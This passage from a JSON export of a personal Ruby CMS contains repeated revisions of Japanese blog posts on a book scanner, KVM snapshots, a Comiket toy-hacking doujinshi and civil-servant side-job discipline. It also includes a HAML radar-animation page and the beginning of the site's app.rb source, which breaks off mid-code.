end\r\nend","created_at":"2013-08-04T13:33:54.000Z","updated_at":"2013-08-04T13:33:54.000Z"},{"id":2477,"name":"text/ScanSnap SV600","body":"%blog%\r\n\r\n[裁断しないでスキャンできるアレ](http://scansnap.fujitsu.com/jp/product/sv600/)を買いました。\r\n\r\n「デバイスとソフトウェアの完成度」だけで評価すれば正直なところあんまり他人に勧められる商品ではないです。 130 ページほどの本をスキャンして補正するのにだいたい 45 分ぐらいかかります。そうやって頑張って補正してもそこそこ歪みます。読めないほどではないんですけど。\r\n\r\nですがまあ図書館で流通価格 1 万円ぐらいの本を借りてきてスキャンして返却する(合法です)、のを 6 回もやればコスト的には回収できます。 [55000 円とかで買える](http://kakaku.com/item/K0000522007/)ので。\r\n\r\nそのあたりをそのように割り切って使える人専用のデバイスなんじゃないかと思います。","created_at":"2013-08-05T04:17:52.000Z","updated_at":"2013-08-05T04:17:52.000Z"},{"id":2478,"name":"text/KVM で気軽にスナップショット作っては潰す話","body":"%blog%\r\n\r\n頻繁に VM を作っては潰しというような要件を達成する為に最近では専ら Vagrant + VirtualBox という構成が選択されます。僕もノート PC でそういうことする場合には Vagrant 使ってます。\r\n\r\nですがある程度秩序だって仮想化サーバー群を構築する場合 KVM とかの方が都合がいいことが多いでしょう。そのサーバー群の中にテスト用の VM を置くとかなれば KVM な VM を頻繁に内容を変更したり戻したりということが必要になります。\r\n\r\nKVM な VM を使って Chef などのプロビジョニングツールのコードのテストを行なう場合、以下のようなプロセスが採られることになると思います。\r\n\r\n1. テストを開始出来る状態の VM を構築しスナップショットをとる\r\n2. テストを実行する\r\n3. 1. の状態に巻き戻す\r\n\r\nCI ツールを使って 2-3 が繰り返されることになると思います。で、そのスナップショットを以下のような感じで気軽にやるとだいたい大惨事が起きます。\r\n\r\n $ sudo qemu-img snapshot -c test test.qcow2 # スナップショットの作成\r\n $ sudo qemu-img snapshot -a test test.qcow2 # スナップショットの適用\r\n\r\nこれを何度も繰り返しているとあっさり QCOW2 はぶっ壊れます。本当に糞ですが実際そんなもんです。このあたりの糞さを理由に QCOW2 を使いたくないという人も結構います。\r\n\r\nですが、差分スナップショットを作っては消し作っては消しという方法ですとイメージは壊れませんし、ベースの方のディスクイメージをバックアップすることが出来るので万が一壊れても問題ないです。\r\n\r\n $ qemu-img create -b test.qcow2 -f qcow2 test.diff.qcow2\r\n {test.diff.qcow2 から起動してテストを実行したのち VM を終了する}\r\n $ rm test.diff.qcow2\r\n\r\nといった具合です。わりとだるいですし Vagrant 使えるなら使っちゃったほうがいい感じしますね。","created_at":"2013-08-05T04:51:21.000Z","updated_at":"2013-08-05T04:51:21.000Z"},{"id":2479,"name":"text/KVM で気軽にスナップショット作っては潰す話","body":"%blog%\r\n\r\n頻繁に VM を作っては潰しというような要件を達成する為に最近では専ら Vagrant + VirtualBox という構成が選択されます。僕もノート PC でそういうことする場合には Vagrant 使ってます。\r\n\r\nですがある程度秩序だって仮想化サーバー群を構築する場合 KVM とかの方が都合がいいことが多いでしょう。そのサーバー群の中にテスト用の VM を置くとかなれば KVM な VM を頻繁に内容を変更したり戻したりということが必要になります。\r\n\r\nKVM な VM を使って Chef などのプロビジョニングツールのコードのテストを行なう場合、以下のようなプロセスが採られることになると思います。\r\n\r\n1. テストを開始出来る状態の VM を構築しスナップショットをとる\r\n2. テストを実行する\r\n3. 1. の状態に巻き戻す\r\n\r\nCI ツールを使って 2-3 が繰り返されることになると思います。で、そのスナップショットを以下のような感じで気軽にやるとだいたい大惨事が起きます。\r\n\r\n $ qemu-img snapshot -c test test.qcow2 # スナップショットの作成\r\n $ qemu-img snapshot -a test test.qcow2 # スナップショットの適用\r\n\r\nこれを何度も繰り返しているとあっさり QCOW2 はぶっ壊れます。本当に糞ですが実際そんなもんです。このあたりの糞さを理由に QCOW2 を使いたくないという人も結構います。\r\n\r\nですが、差分スナップショットを作っては消し作っては消しという方法ですとイメージは壊れませんし、ベースの方のディスクイメージをバックアップすることが出来るので万が一壊れても問題ないです。\r\n\r\n $ qemu-img create -b test.qcow2 -f qcow2 test.diff.qcow2\r\n {test.diff.qcow2 から起動してテストを実行したのち VM を終了する}\r\n $ rm test.diff.qcow2\r\n\r\nといった具合です。わりとだるいですし Vagrant 使えるなら使っちゃったほうがいい感じしますね。","created_at":"2013-08-05T04:52:35.000Z","updated_at":"2013-08-05T04:52:35.000Z"},{"id":2480,"name":"radar/anime/latest","body":"haml\r\n%script{:src =\u003e \"/jquery.js\"}\r\n%p\r\n %b#time\r\n#img\r\n:javascript\r\n var image = function(url){\r\n $(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")\r\n $('#time').text(url.split('/')[2].split('.')[0])\r\n }\r\n var list = #{Dir.glob(\"public/radar/*png\").delete_if{|x| x =~ /msk000.png/}.sort.map{|x| \"/amesh/\"+x.split(\"/\").last}.reverse.slice(0,24).reverse}\r\n var index = 0\r\n var loop = function(){\r\n index++\r\n if(list[index]){\r\n image(list[index])\r\n window.setTimeout(\"loop()\", 2000)\r\n }\r\n }\r\n loop();","created_at":"2013-08-05T05:59:48.000Z","updated_at":"2013-08-05T05:59:48.000Z"},{"id":2481,"name":"radar/anime/latest","body":"haml\r\n%script{:src =\u003e \"/jquery.js\"}\r\n%p\r\n %b#time\r\n#img\r\n:javascript\r\n var image = function(url){\r\n $(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")\r\n $('#time').text(url.split('/')[2].split('.')[0])\r\n }\r\n var list = #{Dir.glob(\"public/radar/*png\").delete_if{|x| x =~ /msk000.png/}.sort.map{|x| \"/radar/\"+x.split(\"/\").last}.reverse.slice(0,24).reverse}\r\n var index = 0\r\n var loop = function(){\r\n index++\r\n if(list[index]){\r\n image(list[index])\r\n window.setTimeout(\"loop()\", 2000)\r\n }\r\n }\r\n loop();","created_at":"2013-08-05T05:59:59.000Z","updated_at":"2013-08-05T05:59:59.000Z"},{"id":2482,"name":"radar/anime/latest","body":"haml\r\n%script{:src =\u003e \"/jquery.js\"}\r\n%p\r\n %b#time\r\n#img\r\n:javascript\r\n var image = function(url){\r\n $(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")\r\n $('#time').text(new Date(url.split('/')[2].split('.')[0]))\r\n }\r\n var list = #{Dir.glob(\"public/radar/*png\").delete_if{|x| x =~ /msk000.png/}.sort.map{|x| \"/radar/\"+x.split(\"/\").last}.reverse.slice(0,24).reverse}\r\n var index = 0\r\n var loop = function(){\r\n index++\r\n if(list[index]){\r\n image(list[index])\r\n window.setTimeout(\"loop()\", 2000)\r\n }\r\n }\r\n loop();","created_at":"2013-08-05T06:00:38.000Z","updated_at":"2013-08-05T06:00:38.000Z"},{"id":2483,"name":"radar/anime/latest","body":"haml\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#img\r\n:javascript\r\n var image = function(url){\r\n $(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")\r\n }\r\n var list = #{Dir.glob(\"public/radar/*png\").delete_if{|x| x =~ /msk000.png/}.sort.map{|x| \"/radar/\"+x.split(\"/\").last}.reverse.slice(0,24).reverse}\r\n var index = 0\r\n var loop = function(){\r\n index++\r\n if(list[index]){\r\n image(list[index])\r\n window.setTimeout(\"loop()\", 2000)\r\n }\r\n }\r\n loop();","created_at":"2013-08-05T06:00:53.000Z","updated_at":"2013-08-05T06:00:53.000Z"},{"id":2484,"name":"text/JEWELPOD HACKS","body":"%blog% コミックマーケット 84 2 日目に JEWLPOD HACKS を頒布します\r\n\r\n![hack](http://31.media.tumblr.com/02bb9c49606cf30251517fbe321b03b8/tumblr_mp9he37F0i1s0tvt5o1_500.jpg)\r\n\r\nコミックマーケット 84 にて [pornanime](http://twitter.com/pornanime) 執筆の、女児向け玩具ジュエルポッド ダイアモンドをハックし独自のソフトウェアを実行する同人誌「JEWELPOD HACKS」を頒布致します。\r\n\r\nジュエルポッド ダイヤモンドで独自アプリを作成する為の基礎的な知識から、実践的なプログラミングまで網羅された大変実用的な同人誌です。\r\n\r\nサークルは**2 日目 日曜日 東 Q53a**に配置されています。\r\n\r\nサークルカットは\r\n\r\n![cut](http://webcatalog.blob.core.windows.net/c84imgthm/aa35a9a0-343b-4290-9975-5d76246a6482.png?sv=2012-02-12\u0026se=2013-08-05T15%3A46%3A37Z\u0026sr=c\u0026sp=r\u0026sig=6sHtgx2fzA6zTB4NePrpycDzmGHP6Di4xJEr%2BpK0EP8%3D)\r\n\r\nです。Web カタログにログインしている場合は[こちら](https://webcatalog.circle.ms/Circle/10742826)から情報を参照することが出来ます。\r\n\r\n取り置きなどを希望される方は以下のフォームからよろしくお願い致します。\r\n\r\n\u003ciframe src=\"https://docs.google.com/forms/d/1OAPNzbPsx6ieo9Dchyps81YraSvW--lnaUUkdJ8GQbo/viewform?embedded=true\" width=\"760\" height=\"500\" frameborder=\"0\" marginheight=\"0\" marginwidth=\"0\"\u003e読み込み中...\u003c/iframe\u003e","created_at":"2013-08-05T15:38:02.000Z","updated_at":"2013-08-05T15:38:02.000Z"},{"id":2485,"name":"text/JEWELPOD HACKS","body":"%blog% コミックマーケット 84 2 日目に JEWLPOD HACKS を頒布します\r\n\r\n![hack](http://31.media.tumblr.com/02bb9c49606cf30251517fbe321b03b8/tumblr_mp9he37F0i1s0tvt5o1_500.jpg)\r\n\r\nコミックマーケット 84 にて [pornanime](http://twitter.com/pornanime) 執筆の、女児向け玩具ジュエルポッド ダイアモンドをハックし独自のソフトウェアを実行する同人誌「JEWELPOD HACKS」を頒布致します。\r\n\r\nジュエルポッド ダイヤモンドで独自アプリを作成する為の基礎的な知識から、実践的なプログラミングまで網羅された大変実用的な同人誌です。\r\n\r\n[こちら](http://ushiroad.com/C84/sample.html)から pornanime さんが用意したサンプルを閲覧することができます。\r\n\r\nサークルは**2 日目 日曜日 東 Q53a**に配置されています。\r\n\r\nサークルカットは\r\n\r\n![cut](http://webcatalog.blob.core.windows.net/c84imgthm/aa35a9a0-343b-4290-9975-5d76246a6482.png?sv=2012-02-12\u0026se=2013-08-05T15%3A46%3A37Z\u0026sr=c\u0026sp=r\u0026sig=6sHtgx2fzA6zTB4NePrpycDzmGHP6Di4xJEr%2BpK0EP8%3D)\r\n\r\nです。Web カタログにログインしている場合は[こちら](https://webcatalog.circle.ms/Circle/10742826)から情報を参照することが出来ます。\r\n\r\n取り置きなどを希望される方は以下のフォームからよろしくお願い致します。\r\n\r\n\u003ciframe src=\"https://docs.google.com/forms/d/1OAPNzbPsx6ieo9Dchyps81YraSvW--lnaUUkdJ8GQbo/viewform?embedded=true\" width=\"760\" height=\"500\" frameborder=\"0\" marginheight=\"0\" marginwidth=\"0\"\u003e読み込み中...\u003c/iframe\u003e","created_at":"2013-08-05T15:40:00.000Z","updated_at":"2013-08-05T15:40:00.000Z"},{"id":2486,"name":"text/JEWELPOD HACKS","body":"%blog% コミックマーケット 84 2 日目に JEWLPOD HACKS を頒布します\r\n\r\n![hack](http://31.media.tumblr.com/02bb9c49606cf30251517fbe321b03b8/tumblr_mp9he37F0i1s0tvt5o1_500.jpg)\r\n\r\nコミックマーケット 84 にて [pornanime](http://twitter.com/pornanime) 執筆の、女児向け玩具ジュエルポッド ダイアモンドをハックし独自のソフトウェアを実行する同人誌「JEWELPOD HACKS」を頒布致します。\r\n\r\nジュエルポッド ダイヤモンドで独自アプリを作成する為の基礎的な知識から、実践的なプログラミングまで網羅された大変実用的な同人誌です。\r\n\r\n[こちら](http://ushiroad.com/C84/sample.html)から pornanime さんが用意したサンプルを閲覧することができます。\r\n\r\nサークルは**2 日目 日曜日 東 Q53a**に配置されています。\u003csmall\u003e申し込みの関係で微妙に変な曜日変な場所に配置されてます。すみません。。。\u003c/small\u003e\r\n\r\nサークルカットは\r\n\r\n![cut](http://webcatalog.blob.core.windows.net/c84imgthm/aa35a9a0-343b-4290-9975-5d76246a6482.png?sv=2012-02-12\u0026se=2013-08-05T15%3A46%3A37Z\u0026sr=c\u0026sp=r\u0026sig=6sHtgx2fzA6zTB4NePrpycDzmGHP6Di4xJEr%2BpK0EP8%3D)\r\n\r\nです。Web カタログにログインしている場合は[こちら](https://webcatalog.circle.ms/Circle/10742826)から情報を参照することが出来ます。\r\n\r\n取り置きなどを希望される方は以下のフォームからよろしくお願い致します。\r\n\r\n\u003ciframe src=\"https://docs.google.com/forms/d/1OAPNzbPsx6ieo9Dchyps81YraSvW--lnaUUkdJ8GQbo/viewform?embedded=true\" width=\"760\" height=\"500\" frameborder=\"0\" marginheight=\"0\" marginwidth=\"0\"\u003e読み込み中...\u003c/iframe\u003e","created_at":"2013-08-05T15:41:50.000Z","updated_at":"2013-08-05T15:41:50.000Z"},{"id":2487,"name":"text/JEWELPOD HACKS","body":"%blog% コミックマーケット 84 2 日目に JEWELPOD HACKS を頒布します\r\n\r\n![hack](http://31.media.tumblr.com/02bb9c49606cf30251517fbe321b03b8/tumblr_mp9he37F0i1s0tvt5o1_500.jpg)\r\n\r\nコミックマーケット 84 にて [pornanime](http://twitter.com/pornanime) 執筆の、女児向け玩具ジュエルポッド ダイアモンドをハックし独自のソフトウェアを実行する同人誌「JEWELPOD HACKS」を頒布致します。\r\n\r\nジュエルポッド ダイヤモンドで独自アプリを作成する為の基礎的な知識から、実践的なプログラミングまで網羅された大変実用的な同人誌です。\r\n\r\n[こちら](http://ushiroad.com/C84/sample.html)から pornanime さんが用意したサンプルを閲覧することができます。\r\n\r\nサークルは**2 日目 日曜日 東 Q53a**に配置されています。\u003csmall\u003e申し込みの関係で微妙に変な曜日変な場所に配置されてます。すみません。。。\u003c/small\u003e\r\n\r\nサークルカットは\r\n\r\n![cut](http://webcatalog.blob.core.windows.net/c84imgthm/aa35a9a0-343b-4290-9975-5d76246a6482.png?sv=2012-02-12\u0026se=2013-08-05T15%3A46%3A37Z\u0026sr=c\u0026sp=r\u0026sig=6sHtgx2fzA6zTB4NePrpycDzmGHP6Di4xJEr%2BpK0EP8%3D)\r\n\r\nです。Web カタログにログインしている場合は[こちら](https://webcatalog.circle.ms/Circle/10742826)から情報を参照することが出来ます。\r\n\r\n取り置きなどを希望される方は以下のフォームからよろしくお願い致します。\r\n\r\n\u003ciframe src=\"https://docs.google.com/forms/d/1OAPNzbPsx6ieo9Dchyps81YraSvW--lnaUUkdJ8GQbo/viewform?embedded=true\" width=\"760\" height=\"500\" frameborder=\"0\" marginheight=\"0\" marginwidth=\"0\"\u003e読み込み中...\u003c/iframe\u003e","created_at":"2013-08-05T15:57:27.000Z","updated_at":"2013-08-05T15:57:27.000Z"},{"id":2488,"name":"text/JEWELPOD HACKS","body":"%blog% コミックマーケット 84 2 日目に JEWELPOD HACKS を頒布します\r\n\r\n![hack](http://31.media.tumblr.com/02bb9c49606cf30251517fbe321b03b8/tumblr_mp9he37F0i1s0tvt5o1_500.jpg)\r\n\r\nコミックマーケット 84 にて [pornanime](http://twitter.com/pornanime) 執筆の、女児向け玩具ジュエルポッド ダイアモンドをハックし独自のソフトウェアを実行する同人誌「JEWELPOD HACKS」を頒布致します。\r\n\r\nジュエルポッド ダイヤモンドで独自アプリを作成する為の基礎的な知識から、実践的なプログラミングまで網羅された大変実用的な同人誌です。\r\n\r\n[こちら](http://ushiroad.com/C84/sample.html)から pornanime さんが用意したサンプルを閲覧することができます。\r\n\r\nサークルは**2 日目 日曜日 東 Q53a**に配置されています。\u003csmall\u003e申し込みの関係で微妙に変な曜日変な場所に配置されてます。すみません。。。\u003c/small\u003e\r\n\r\nサークルカットは\r\n\r\n![cut](http://ssig33.com/gyazo/4e045d0fa29d7c7965df79779fb45892.png)\r\n\r\nです。Web カタログにログインしている場合は[こちら](https://webcatalog.circle.ms/Circle/10742826)から情報を参照することが出来ます。\r\n\r\n取り置きなどを希望される方は以下のフォームからよろしくお願い致します。\r\n\r\n\u003ciframe src=\"https://docs.google.com/forms/d/1OAPNzbPsx6ieo9Dchyps81YraSvW--lnaUUkdJ8GQbo/viewform?embedded=true\" width=\"760\" height=\"500\" frameborder=\"0\" marginheight=\"0\" marginwidth=\"0\"\u003e読み込み中...\u003c/iframe\u003e","created_at":"2013-08-05T16:03:25.000Z","updated_at":"2013-08-05T16:03:25.000Z"},{"id":2489,"name":"text/JEWELPOD HACKS","body":"%blog% コミックマーケット 84 2 日目にて JEWELPOD HACKS を頒布します\r\n\r\n![hack](http://31.media.tumblr.com/02bb9c49606cf30251517fbe321b03b8/tumblr_mp9he37F0i1s0tvt5o1_500.jpg)\r\n\r\nコミックマーケット 84 にて [pornanime](http://twitter.com/pornanime) 執筆の、女児向け玩具ジュエルポッド ダイアモンドをハックし独自のソフトウェアを実行する同人誌「JEWELPOD HACKS」を頒布致します。\r\n\r\nジュエルポッド ダイヤモンドで独自アプリを作成する為の基礎的な知識から、実践的なプログラミングまで網羅された大変実用的な同人誌です。\r\n\r\n[こちら](http://ushiroad.com/C84/sample.html)から pornanime さんが用意したサンプルを閲覧することができます。\r\n\r\nサークルは**2 日目 日曜日 東 Q53a**に配置されています。\u003csmall\u003e申し込みの関係で微妙に変な曜日変な場所に配置されてます。すみません。。。\u003c/small\u003e\r\n\r\nサークルカットは\r\n\r\n![cut](http://ssig33.com/gyazo/4e045d0fa29d7c7965df79779fb45892.png)\r\n\r\nです。Web カタログにログインしている場合は[こちら](https://webcatalog.circle.ms/Circle/10742826)から情報を参照することが出来ます。\r\n\r\n取り置きなどを希望される方は以下のフォームからよろしくお願い致します。\r\n\r\n\u003ciframe src=\"https://docs.google.com/forms/d/1OAPNzbPsx6ieo9Dchyps81YraSvW--lnaUUkdJ8GQbo/viewform?embedded=true\" width=\"760\" height=\"500\" frameborder=\"0\" marginheight=\"0\" marginwidth=\"0\"\u003e読み込み中...\u003c/iframe\u003e","created_at":"2013-08-05T23:41:08.000Z","updated_at":"2013-08-05T23:41:08.000Z"},{"id":2490,"name":"text/JEWELPOD HACKS","body":"%blog% コミックマーケット 84 2 日目にて JEWELPOD HACKS を頒布します\r\n\r\n[ポニメ出版公式サイト](http://ushiroad.com/C84)\r\n\r\n![hack](http://31.media.tumblr.com/02bb9c49606cf30251517fbe321b03b8/tumblr_mp9he37F0i1s0tvt5o1_500.jpg)\r\n\r\nコミックマーケット 84 にて [pornanime](http://twitter.com/pornanime) 執筆の、女児向け玩具ジュエルポッド ダイアモンドをハックし独自のソフトウェアを実行する同人誌「JEWELPOD HACKS」を頒布致します。\r\n\r\nジュエルポッド ダイヤモンドで独自アプリを作成する為の基礎的な知識から、実践的なプログラミングまで網羅された大変実用的な同人誌です。\r\n\r\n[こちら](http://ushiroad.com/C84/sample.html)から pornanime さんが用意したサンプルを閲覧することができます。\r\n\r\nサークルは**2 日目 日曜日 東 Q53a**に配置されています。\u003csmall\u003e申し込みの関係で微妙に変な曜日変な場所に配置されてます。すみません。。。\u003c/small\u003e\r\n\r\nサークルカットは\r\n\r\n![cut](http://ssig33.com/gyazo/4e045d0fa29d7c7965df79779fb45892.png)\r\n\r\nです。Web カタログにログインしている場合は[こちら](https://webcatalog.circle.ms/Circle/10742826)から情報を参照することが出来ます。\r\n\r\n取り置きなどを希望される方は以下のフォームからよろしくお願い致します。\r\n\r\n\u003ciframe src=\"https://docs.google.com/forms/d/1OAPNzbPsx6ieo9Dchyps81YraSvW--lnaUUkdJ8GQbo/viewform?embedded=true\" width=\"760\" height=\"500\" frameborder=\"0\" marginheight=\"0\" marginwidth=\"0\"\u003e読み込み中...\u003c/iframe\u003e","created_at":"2013-08-06T05:36:48.000Z","updated_at":"2013-08-06T05:36:48.000Z"},{"id":2491,"name":"text/高専と IS","body":"%blog%\r\n\r\n\u003csmall\u003e※ Amazon のアフィリエイト貼ってるので Adblock とか使ってるとなにがなんだか分からなくなる記事です\u003c/small\u003e\r\n\r\n高専の話が流行ってるみたいですが、高専生に聞いたところ高専の実態を理解するには以下の作品が参考になるという意見を聞いたことがあります。\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00CJ2PEGM\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00CG6S9AE\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n小説の主人公織斑一夏を女性に、ヒロイン達を男性に性転換すると高専の歪んだ男女比率のなかで人間が破壊されていく様子が理解できるとのことです。\r\n\r\n大変ですね。","created_at":"2013-08-06T07:47:30.000Z","updated_at":"2013-08-06T07:47:30.000Z"},{"id":2492,"name":"text/公務員の副業がバレた話","body":"%blog%\r\n\r\n公務員の副業がバレた話についてまとめてみました。\r\n\r\n内容 | 処分 | 参考 URL\r\n---- | ----| ----\r\n2 名の男性消防士が AV に出演 | 停職 6 ヶ月 | [link](http://www.47news.jp/FN/201308/FN2013080601001856.html)\r\nアイディア商品の販売会社を 9 年間経営 | 減給 10% を 1 ヶ月 | [link](http://www.47news.jp/CN/200811/CN2008112801000183.html)\r\n10 年間水道工事のバイト | 停職 1 ヶ月 | [link](http://www.youtube.com/watch?v=3PmYkTbibbU\u0026hd=1)\r\n7 年間ビルメンのバイト | 減給 10% を 6 ヶ月 | [link](http://blogs.yahoo.co.jp/toukatsuda/44908655.html)\r\n1 年間パチンコ屋の清掃バイト | 停職 3 ヶ月 | [link](http://sankei.jp.msn.com/west/west_affairs/news/130329/waf13032907390003-n1.htm)\r\n9 年間運送会社でバイト | 停職 6 ヶ月 | [link](http://dat.2aa.jp/news/1349429018.html)\r\n105 日間デリヘル勤務 | 停職 6 ヶ月 | [link](http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q13106614563)\r\n\r\n適当に検索して集めたので参考 URL の先はわりと適当なページが多いです。\r\n\r\n全体的に処分の軽重に公平間が無い感じします。 9 年間運送会社でバイトした人が停職 6 ヶ月の一方、 10 年水道工事をした人が停職 1 ヶ月だったり、怪しい会社を 9 年間も経営した人が停職にならず減給 10% で済んでたりします。\r\n\r\n運送会社でバイトしてた人が「処分の相場より重い」とか訴えてたらどうなってたのか気になるところです。\r\n\r\nデリヘル女教師と AV 消防士の処分が著しく重いことも気になります。性産業になんか恨みでもあるんでしょうか。\r\n\r\n### 結論\r\n男性消防士 2 名が出演していた AV が見たい。","created_at":"2013-08-06T08:09:22.000Z","updated_at":"2013-08-06T08:09:22.000Z"},{"id":2493,"name":"text/公務員の副業がバレた話","body":"%blog%\r\n\r\n公務員の副業がバレた話についてまとめてみました。\r\n\r\n内容 | 処分 | 参考 URL\r\n---- | ----| ----\r\n2 名の男性消防士が AV に複数回出演 | 停職 6 ヶ月 | [link](http://www.47news.jp/CN/201308/CN2013080601001951.html)\r\nアイディア商品の販売会社を 9 年間経営 | 減給 10% を 1 ヶ月 | [link](http://www.47news.jp/CN/200811/CN2008112801000183.html)\r\n10 年間水道工事のバイト | 停職 1 ヶ月 | [link](http://www.youtube.com/watch?v=3PmYkTbibbU\u0026hd=1)\r\n7 年間ビルメンのバイト | 減給 10% を 6 ヶ月 | [link](http://blogs.yahoo.co.jp/toukatsuda/44908655.html)\r\n1 年間パチンコ屋の清掃バイト | 停職 3 ヶ月 | [link](http://sankei.jp.msn.com/west/west_affairs/news/130329/waf13032907390003-n1.htm)\r\n9 年間運送会社でバイト | 停職 6 ヶ月 | [link](http://dat.2aa.jp/news/1349429018.html)\r\n105 日間デリヘル勤務 | 停職 6 ヶ月 | [link](http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q13106614563)\r\n\r\n適当に検索して集めたので参考 URL の先はわりと適当なページが多いです。\r\n\r\n全体的に処分の軽重に公平間が無い感じします。 9 年間運送会社でバイトした人が停職 6 ヶ月の一方、 10 年水道工事をした人が停職 1 ヶ月だったり、怪しい会社を 9 年間も経営した人が停職にならず減給 10% で済んでたりします。\r\n\r\n運送会社でバイトしてた人が「処分の相場より重い」とか訴えてたらどうなってたのか気になるところです。\r\n\r\nデリヘル女教師と AV 消防士の処分が著しく重いことも気になります。性産業になんか恨みでもあるんでしょうか。\r\n\r\n### 結論\r\n男性消防士 2 名が出演していた AV が見たい。","created_at":"2013-08-06T08:51:55.000Z","updated_at":"2013-08-06T08:51:55.000Z"},{"id":2494,"name":"text/JEWELPOD HACKS","body":"%blog% コミックマーケット 84 2 日目にて JEWELPOD HACKS を頒布します\r\n\r\n[ポニメ出版公式サイト](http://ushiroad.com/C84)\r\n\r\n![hack](http://31.media.tumblr.com/02bb9c49606cf30251517fbe321b03b8/tumblr_mp9he37F0i1s0tvt5o1_500.jpg)\r\n\r\nコミックマーケット 84 にて [pornanime](http://twitter.com/pornanime) 執筆の、女児向け玩具ジュエルポッド ダイアモンドをハックし独自のソフトウェアを実行する同人誌「JEWELPOD HACKS」を頒布致します。\r\n\r\nジュエルポッド ダイヤモンドで独自アプリを作成する為の基礎的な知識から、実践的なプログラミングまで網羅された大変実用的な同人誌です。\r\n\r\n[こちら](http://ushiroad.com/C84/sample.html)から pornanime さんが用意したサンプルを閲覧することができます。\r\n\r\nサークルは**2 日目 日曜日 東 Q53a**に配置されています。\u003csmall\u003e申し込みの関係で微妙に変な曜日変な場所に配置されてます。すみません。。。\u003c/small\u003e\r\n\r\nサークルカットは\r\n\r\n![cut](http://ssig33.com/gyazo/4e045d0fa29d7c7965df79779fb45892.png)\r\n\r\nです。Web カタログにログインしている場合は[こちら](https://webcatalog.circle.ms/Circle/10742826)から情報を参照することが出来ます。\r\n\r\nご好評につき取り置きの受け付けは終了致しました。一般頒布分は 10 部ほどしかないので、欲しいという方はお早めにスペースにお越しください。","created_at":"2013-08-07T10:40:02.000Z","updated_at":"2013-08-07T10:40:02.000Z"},{"id":2495,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'memcached'\r\nrequire 'digest/md5'\r\n$memcache = Memcached.new(\"localhost:11211\")\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval 